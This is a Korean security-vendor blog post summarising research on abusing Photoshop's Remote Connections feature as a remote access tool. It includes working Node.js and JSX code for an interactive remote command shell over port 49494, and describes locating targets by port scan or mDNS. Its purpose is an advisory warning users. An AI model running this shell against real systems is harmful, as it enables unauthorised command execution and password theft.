상세 컨텐츠

본문 제목

Photoshop을 RAT 처럼 이용할 수 있다고?

국내외 보안동향

by 알약(Alyac) 2017. 8. 10. 11:09

본문


Photoshop Remote Connections 기능 소개


Photoshop중에는 Remote Connections 이라는 기능이 포함되어 있습니다. 해당 기능은 기본적으로 비활성화 되어있지만, 만약 사용자가 해당 기능을 활성화 시킨 후 비밀번호를 설정해 놓았다면, 비밀번호를 아는 누군가가 해당 서비스를 이용하여 사용자의 PC를 원격에서 컨트롤 할 수 있게 됩니다. 


다음은 Remote Connections 기능 활성화 화면 입니다. 


<이미지 출처 : https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-805485a9480>


일반 사용자들은 해당 기능을 이용하여 PS 파일들을 자신의 다른 iPad나 휴대폰 등으로 확인하며 디자인을 수정하는데 사용합니다. 이 기능은 휴대폰 등 이동식 디바이스에서 PS Playon과 Skala Preview등 서드파티 앱을 통해 연결할 수 있습니다. 


<이미지 출처 : https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-805485a9480>


해당 원격 연걸 기능은 Photoshop의 JSX 스크립트를 기반으로 하고 있습니다. JSX는 Photoshop의 매트로 스크립트에 속하며, javascript로 작성되어 있습니다. 이미지 로딩, 렌더링 등의 기능을 지원합니다. 


또한 Adobe에서 제공하는 오픈 라이브러리 커널 생성기를 이용하여 원격 연결도 가능합니다. 


해당 기능 활성화 수, Photoshop은 49494포트를 이용하여 수신하게 됩니다. 


$ netstat -an | grep 49494

tcp4 0 0 *.49494 *.* LISTEN


다음 코드는 원격으로 Photoshop서버와 신분증명을 하는 코드입니다. 


const core = require("generator-core/lib/generator")

const options = {

    host: '192.168.1.123',

    password: 'password',

    port: 49494

}

const generator = core.createGenerator()

generator.start(options).done(() => {

    generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown())

})


이와 관련한여 우리는 다음과 같은 app.system 방식을 이용하여 시스템명령을 call해보기로 하였다. 


alert(app.system(“id”))


하지만, 반환되는 값은 이미 로그아웃된 값으로, 표준 명령의 출력내용이 아니였습니다. 이에 연구원들은 연구과정에서 Photoshop의 JSX 스크립트가 시스템 방문 API를 갖고있기 때문에 이러한 결과가 나타나는 것임을 확인하였습니다. 이말은 즉슨, 표준형식의 내용(stdout)을 임시 파일로 리다이렉션 시키면, 해당 파일에 대해 읽을 수 있게되는 것입니다. 


var tmpFile = Folder.temp + 'output.txt';

app.system("id > " + tmpFile);

var stdout = new File(${tmpFile});

stdout.open('r');

stdout.encoding = "UTF-8";

var content = stdout.read();

stdout.close();

stdout.remove();

alert(content);


<이미지 출처 : https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-805485a9480>



Photoshop RAT


그래서 연구원들은 위에서 설명한 신분증명코드를 사용자 이름과 비밀번호를 통해 원격에서 Photoshop서비스에 접속할 수 있도록 수정하였습니다. 그 후 JSX 스크립트 API를 이용하여 Photoshop 서버에서 명령을 실행하여 Photoshop 원격 서비스를 직접 컨트롤 할 수 있도록 하였습니다. 다음은 exploit 코드입니다. 


const readline = require('readline')

const backdoor = require("generator-core/lib/generator")

const options = {

  host: '192.168.0.101',

  password: 'password',

  port: 49494,

}

console.info('Establishing connection to ' + options.host)

const generator = backdoor.createGenerator()

generator.start(options).done(() => {

  const rl = readline.createInterface({input: process.stdin, output: process.stdout, prompt: '> '})

    .on('line', line => {

      let command = line.trim()

      let tmpFile = `Folder.temp + ${JSON.stringify(Math.random() + '.txt')}`

      let jsx = `

        app.system("${command} > " + ${tmpFile});

        var stdout = new File(${tmpFile});

        stdout.open('r');

        stdout.encoding = "UTF-8";

        var content = stdout.read();

        stdout.close();

        stdout.remove();

        content

        `

      generator.evaluateJSXString(jsx).then(output => {

        console.log(output)

        rl.prompt()

      })

    })

    .on('SIGINT', () => {

      console.log('bye')

      generator.shutdown()

      rl.close()

    })

  console.log('Remote photoshop shell')

  rl.prompt()

})


공격이 성공하면, 원격에서 Photoshop을 통하여 시스템의 비밀번호를 읽어올 수 있게됩니다. 


<이미지 출처 : https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-805485a9480>




영향분석


내부망 중, 49494포트 스캔 혹은 DNS멀티캐스트를 통하여 ”_photoshopserver.tcp”패킷을 잡아 어느 Photoshop이 Remote Connections기능이 활성화 되어있는지 확인한 후, exploit.js를 통해 공격하면 됩니다. 


<이미지 출처 : https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-805485a9480>



이러한 RAT공격이 가능하려면, 반드시 공격하고자 하는 대상의 Photoshop 접속 비밀번호를 알아야 합니다. 


하지만, Photoshop에 탑재되어 있는 Remote Connections 기능이 RAT 공격에 악용될 수 있는 만큼, Photoshop 을 사용하고 있는 임직원들은 보안에 각별히 신경쓸 필요가 있습니다.






출처 :

https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-805485a9480

관련글 더보기

댓글 영역